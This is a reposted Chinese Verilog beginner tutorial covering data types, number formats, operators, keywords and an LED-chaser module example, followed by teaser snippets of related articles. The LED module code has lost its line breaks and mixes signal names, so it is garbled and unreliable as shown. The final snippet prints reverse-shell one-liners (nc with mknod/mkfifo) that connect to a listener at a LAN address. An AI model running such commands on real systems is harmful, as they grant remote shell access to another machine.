verilog 语法及特点

主线上的硬件描述语言有verilog 和 VHDL 两门, 由于 verilog 语法上比VHDL 语言灵活, 所以现在社区以 verilog 语言开发的项目占比更大。 但是相较于 现在流行的 java/python 计算机语言比起来, 其模块化管理要差很多, 所以现在社区有 类是 java 语言的 Chisel 设计。不过大部分FPGA厂家都只提供了 verilog/VHDL 两门语言的综合逻辑, 所以其他的语言都是最终要转换到 这两门语言上。 下面我们来看看流行的 verilog 语言的一些基本的知识。

Verilog HDL(Hardware Description Language)是在用途最广泛的 C 语言的基础上发展起来的一种硬件描述语言,具有灵活性高、易学易用等特点。Verilog HDL 可以在较短的时间内学习和掌握,目前已经在 FPGA 开发/IC 设计领域占据绝对的领导地位。

Verilog 的特点:

  1. 能形式化的抽象表示电路的行为和结构;
  2. 支持逻辑设计中层次与范围的描述;
  3. 可借用高级语言的精巧结构来简化电路行为和结构;
  4. 支持电路描述由高层到低层的综合转换;
  5. 硬件描述和实现工艺无关。

Verilog 的语法:

  1. verilog 命名和 c/c++ 基本相似, 但是命名里面多两个一个$字符

  2. 由于 verilog 的数字更多考虑的是逻辑门, 所以通常以 直观的 二进制表示, 而且位数是有效必须指定的, 格式 <位数>'b<二进制数> 如 8’b00000001. 有时候也用 10 进制,16 进制, 格式如 8’d1, 8’ha (8’b00001010), 8 表示的是转换为 2 进制的位数. 16 进制中的加入了 ABCDEF 子母.

  3. verilog 有 3 大数据类型: 寄存器类型(reg), 线网类型(wire)和参数类型(parameter). 下面是其定义方式:

    //reg 定义
    reg [31:0]  delay_cnt; //延时计数器
    reg         key_flag;  //按键标志
    //wire 定义
    wire       data_en; //数据使能信号
    wire [7:0] data;    //数据
    //parameter 定义
    parameter DATA_WIDTH = 8; //数据位宽为8位
    
  4. 算术运算 ±* / %, 关系运算 > < >= <= == !=, 逻辑运算 ! && ||, 条件运算符 ? :, 位运算符 & | ^ ~, 移位运算 << >>, 拼接运算 { }, 运算符优先级 与 python 基本一致(都是在 c 语言那里继承的).

  5. 模块定义

    // 模块定义 module 开头, endmodule 结尾
    module led(input sys_clk, // 系统时钟input sys_rst_n, // 系统复位, 低电平有效output reg [3:0] led // 4 位 led 灯
    )
    // 变量定义
    parameter WIDTH = 25;
    parameter COUNT_MAX = 25_000_000; // 板载50MHz时钟 = 20ns, 0.5/20ns = 25MHz, 需要25bit位宽 (25'b1011111010111100001000000)reg [WIDTH-1:0] counter; // reg 信号, 一般情况下代表寄存器
    reg [1:0] leg_ctrl_cnt;wire counter_en; // wire 信号, 就是硬件连线// 程序逻辑// 计数到最产生一个高电平信号
    assign counter_en = (counter == (COUNT_MAX-1'b1))? 1'b1 : 1'b0;// 用于产生0.5秒 使能信号计数器
    always @(posedge sys_clk or negedge sys_rst_n) begin // 代表 sys_clk 上升沿或者 sys_rst_n 下降沿触发// begin/end 中间是一个语句块if (sys_rst_n == 1'b0)counter <= 1'b0;else if (counter_en)counter <= 1'b0;elsecounter <= counter + 1'b1; // <= 代表信号是非阻塞赋值
    end// led 流水控制计数器
    always @(posedge sys_clk or negedge sys_rst_n) beginif (sys_rst_n == 1'b0)led_ctrl_cnt <= 2'b0;else if (counter_en)led_ctrl_cnt <= led_ctrl_cnt + 2'b1;
    end// 通过控制IO口的高低信号,控制LED的亮灭
    always @(posedge sys_clk or negedge sys_rst_n) beginif(sys_rst_n == 1'b0)leg <= 4'b0;else begin  // if else 语句, 如果包括多条语句, 需要用 begin/end 括起来case(led_ctrl_cnt)  // case/endcase 中就是case语法块, default是默认分支2'b00: leg <= 4'b0001;2'b01: leg <= 4'b0010;2'b10: leg <= 4'b0100;2'b11: leg <= 4'b1000;default:;endcaseend
    end
    endmodule
    
  6. 关键字

    编号12345
    1andalwaysassignbeginbuf
    2bufif0bufif1casecasexcasez
    3cmosdeassigndefaultdefparamdisable
    4edgeelseendendcaseendfunction
    5endprimitiveendmoduleendspecifyendtableendtask
    6eventforforceforeverfork
    7functionhighz0highz1ififnone
    8initialinoutinputintegerjoin
    9largemacromodulemediummodulenand
    10negedgenornotnotif0notif1
    11nmosoroutputparameterpmos
    12posedgeprimitivepulldownpulluppull0
    13pull1rcmosrealrealtimereg
    14releaserepeatrnmosrpmosrtran
    15rtranif0rtranif1scalaredsmallspecify
    16specparamstrengthstrong0strong1supply0
    17supply1tabletasktrantranif0
    18tranif1timetritriandtrior
    19triregtri0tri1vectoredwait
    20wandweak0weak1whilewire
    21worxnorxor

    常用关键字

    关键字含义
    module模块开始定义
    input输入端口定义
    output输出端口定义
    inout双向端口定义
    parameter信号的参数定义
    wirewire 信号定义
    regreg 信号定义
    always产生 reg 信号语句的关键字
    assign产生 wire 信号语句的关键字
    begin语句的起始标志
    end语句的结束标志
    posedge/negedge 时序电路的标志
    caseCase 语句起始标记
    - casexCase 语句起始标记, 不考虑高阻状态 z
    -casezCase 语句起始标记, 不考虑高阻状态 z 和不定值 x
    defaultCase 语句的默认分支标志
    endcaseCase 语句结束标记
    ifif/else 语句标记
    elseif/else 语句标记
    forfor 语句标记
    endmodule模块结束定义
  7. 事件触发器
    initial 语句块, 只在初始化时执行一次
    always 语句块, 每次时钟周期都执行, 条件可以是电平触发, 时钟触发, 或两者都触发

  8. verilog 类型 wire/reg

    wire 类型: 模块输入类型, 顶层模块输出, 部分内部模块输出, 实例化模块的连接, 被 assign 赋值的对象
    reg 类型: always/initial 内被赋值的变量, 部分内部模块输出.

PS: 语言只是逻辑的描述, verilog 语言就是硬件语言的逻辑描述,


参考

  1. Verilog 基础知识
  2. Verilog 的关键字
  3. tinyriscv
  4. 浅显易懂-Verilog 中什么时候用 wire?什么时候用 reg?wire 与 reg 只有又有啥区别?如何去选择性的使用呢?
  5. verilog 基础——always、initial

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/826820.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Hadoop1X,Hadoop2X和hadoop3X有很大的区别么?

Hadoop的演进从Hadoop 1到Hadoop 3主要是为了提供更高的效率、更好的资源管理、更高的可靠性以及对更多数据处理方式的支持。下面是Hadoop 1, Hadoop 2, 和 Hadoop 3之间的主要区别和演进的原因&#xff1a; Hadoop 1 特点&#xff1a; 主要包括两大核心组件&#xff1a;HDFS&a…

跨平台SIP 客户端-linphone下载、使用、开启视频H264

linphone 介绍 Linphone 是一种开源的语音和视频通信应用程序&#xff0c;它提供了基于互联网协议&#xff08;IP&#xff09;的实时通信功能。用于语音/视频通话、即时消息和电话会议的开源 SIP 电话。它适用于移动和桌面环境&#xff08;iOS、Android、GNU/Linux、macOS、Win…

【Linux】在centos快速搭建K8S1.18集群

使用 kubeadm 创建集群帮助文档 如果您需要以下几点&#xff0c;该工具是很好的选择&#xff1a;kubeadm 一种简单的方法&#xff0c;让你尝试 Kubernetes&#xff0c;可能是第一次。现有用户自动设置群集并测试其应用程序的一种方式。其他生态系统和/或安装程序工具中的构建…

SpringBoot集成Sleuth

引入Maven依赖 <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-sleuth</artifactId></dependency> 配置yml文件 bootstrap.yml文件增加如下配置 注&#xff1a;这个配置不是必须要&#…

经典机器学习算法——决策树

优质博文&#xff1a;IT-BLOG-CN 树模型是机器学习中最常用的一类模型&#xff0c;包括随机森林、AdaBoost、GBDT&#xff08;XGBoost和Lightgbm&#xff09;等&#xff0c;基本原理都是通过集成弱学习器的即式来进一步提升准确度。这里的弱学习器包括线性模型和决策树模型&…

大sql mysql执行

先把sql 拆分 太大的执行失败 使用 SQLDumpSplitter3 拆分sql 执行拆分的sql 拆分的sql 打开发现很多 ; 开头的空行 替换掉 正则 ^; 修改数据库 my.cnf my,ini 执行可能会提示 [ERR] 2006 - Server has gone away 错误 在 [mysqld] 添加以下几行 wait_timeout2880000 inter…

上位机工作感想-从C#到Qt的转变-1

0.前言 接触Qt开发也有一年多的时间了&#xff0c;还记得去年初从杭州回合肥时&#xff0c;刚来公司面临的几个问题&#xff1a; 1.C#转上位机的迷茫2.新公司管理模式的差异3.试用期的各种紧急任务。 当时也是加班加点学习C和Qt的基础知识&#xff0c;做了两个考核项目后&am…

解决Mac使用Vscode无法调用外部终端

前言 今天遇到一个很奇怪的问题&#xff0c;之前好好的用Vscode还能调用外部终端&#xff0c;怎么今天不行了&#xff1f;问题出在哪里呢&#xff1f;请听我娓娓道来。 检查配置文件 我查看了一下配置文件&#xff0c;发现配置文件都是调用外部控制台&#xff0c;没毛病啊。 …

【AI开发:音频】二、GPT-SoVITS使用方法和过程中出现的问题(GPU版)

1.FileNotFoundError: [Errno 2] No such file or directory: logs/guanshenxxx/2-name2text-0.txt 这个问题中包含了两个&#xff1a; 第一个&#xff1a;No module named pyopenjtalk 我的电脑出现的就是这个 解决&#xff1a;pip install pyopenjtalk 第二个&#xff1a…

快速排序题目SelectK问题(力扣75.颜色分类、力扣215.数组中的第K个最大元素、面试题17.14最小K个数)

力扣75.颜色分类 给定一个包含红色、白色和蓝色、共 n 个元素的数组 nums &#xff0c;原地对它们进行排序&#xff0c;使得相同颜色的元素相邻&#xff0c;并按照红色、白色、蓝色顺序排列。 我们使用整数 0、 1 和 2 分别表示红色、白色和蓝色。 必须在不使用库内置的 sor…

从零开始的vscode配置及安装rust教程

配置vscode的rust环境 下载安装vscodemac 环境1. 下载安装rust2. 配置 mac vscode环境3. 创建一个测试项目 windows 环境1. 安装c运行环境2. 安装配置rustup3. 配置windows vscode环境4. 创建一个测试项目 下载安装vscode 1.官网应用程序下载 vscode&#xff1a;https://code.v…

注意力机制中多层的作用

1.多层的作用 在注意力机制中&#xff0c;多层的作用通常指的是将注意力机制堆叠在多个层上&#xff0c;这在深度学习模型中被称为“深度”或“多层”注意力网络。这种多层结构的作用和实现过程如下&#xff1a; 1. **逐层抽象**&#xff1a;每一层都可以捕捉到输入数据的不同…

在ubuntu20.04下迁移anaconda的目录,试验不行后,换成软连接

一、原因 随着不断的搭建不同的算法环境&#xff0c;原本在固态硬盘上安装的anaconda上占用空间越来越多。导致可用的固态硬盘空间越来越少&#xff0c;又因安装的环境太多&#xff0c;重新搭建比较费时费力。有没有直接将当前已经搭建好环境的anaconda 迁移到另外的目录呢&…

SAP 销售业务中免费货物的会计核算

此博文主要介绍SAP销售业务中免费货物解决方案中&#xff0c;免费货物的会计核算。如果需要进一步了解SAP SD 销售与分销业务中&#xff0c;免费货物的标准解决方案概览&#xff0c;可先了解本博客博文&#xff1a;SAP销售与分销中的免费货物解决方案相关文章&#xff1a; htt…

Python 全栈安全(一)

原文&#xff1a;annas-archive.org/md5/712ab41a4ed6036d0e8214d788514d6b 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 前言 序言 多年前&#xff0c;我在亚马逊搜索了一本基于 Python 的应用程序安全书。我以为会有多本书可供选择。已经有了很多其他主题的 Pyt…

【设计模式】单例模式|最常用的设计模式

写在前面 单例模式是最常用的设计模式之一&#xff0c;虽然简单&#xff0c;但是还是有一些小坑点需要注意。本文介绍单例模式并使用go语言实现一遍单例模式。 单例模式介绍 简介 单例模式保证一个类仅有一个实例&#xff0c;并提供一个访问它的全局访问点。 使用场景&#…

DC学习笔记

视频 数字逻辑综合工具实践 DC 01_哔哩哔哩_bilibili 一、DC工作模式&#xff08;此小节为搬运内容&#xff09; 原链接&#xff1a;Design_Compiler User Guide 随手笔记&#xff08;9&#xff09;Using Floorplan Information - 知乎 DC拥有四种工作模式&#xff1a; 工…

项目7-音乐播放器6+评论区

1.准备前端界面 前端小白&#xff1a;怎么为你的网页增加评论功能&#xff1f;&#xff08;一&#xff09;_为网页添加评论区怎么弄-CSDN博客 参考的上述文章的前端代码 我们从上述前端图片知道&#xff0c;我们数据库需要准备的字段&#xff1a; id,commentuserName,coomen…

字节FE:JavaScript学习路线图

JavaScript简介 JavaScript是一种高级的、解释执行的编程语言。它是互联网的三大核心技术之一&#xff0c;与HTML和CSS一同工作&#xff0c;用于创建交互式的网页。JavaScript被所有现代网页浏览器支持而不需要任何插件。它可以增强用户界面和网页的交互性&#xff0c;可以进行…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…